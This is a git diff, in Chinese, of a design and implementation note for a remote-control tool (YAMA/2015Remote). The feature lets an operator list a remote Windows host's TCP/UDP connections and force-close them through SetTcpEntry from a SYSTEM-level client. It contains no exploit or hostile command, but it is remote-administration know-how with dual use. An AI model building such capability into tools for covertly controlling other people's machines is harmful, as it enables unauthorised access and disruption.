+工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`):
+
+- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、
+ `ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`;
+ 同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
+- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`;
+ 新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
+- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个
+ 双节点/插头样式图标插入条尾;图标观感属评审项)。
+- `2015RemoteDlg.cpp`:
+ - `SetButtonText(16, _TR("连接管理"))`(1420 行后)。
+ - `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。
+ - `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。
+ - `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
+ - `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。
+ - `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
+ `OpenDialog(wParam, lParam)`。
+- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。
+- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。
+
+## 6. 强制断开的实现与限制
+
+- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。
+- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
+ 网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
+- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。
+- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。
+- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权,
+ `SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。
+
+## 7. 安全与边界
+
+1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开,
+ 对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理),
+ 但列表按 PID 可辨识本程序进程名,便于人工避让。
+2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认
+ (确认责任在操作者),但右键菜单为显式单点操作。
+3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接
+ `""`,不阻塞枚举。
+4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。
+5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。
+6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」
+ 同类),属预期;不影响服务端其它功能。
+
+## 8. 验证计划(施工后填写)
+
+1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。
+2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接,
+ 字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。
+3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、
+ 远端 `netstat` 不再显示;进程自身未受影响。
+4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。
+5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。
+6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。
+
+## 9. 实现记录
+
+- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后)
+ 打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg`
+ 表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
+- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
+ 低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。
+ 已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口
+ `htons` 转回网络序。详见 §3.2 / §6。
+- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。
+- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构)
+ 经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 3d41393..ca40c0e 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 98fc07a..31312a7 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -20,6 +20,7 @@
#include "AudioDlg.h"
#include "RegisterDlg.h"
#include "ServicesDlg.h"
+#include "ConnectionsDlg.h"
#include "VideoDlg.h"
#include
#include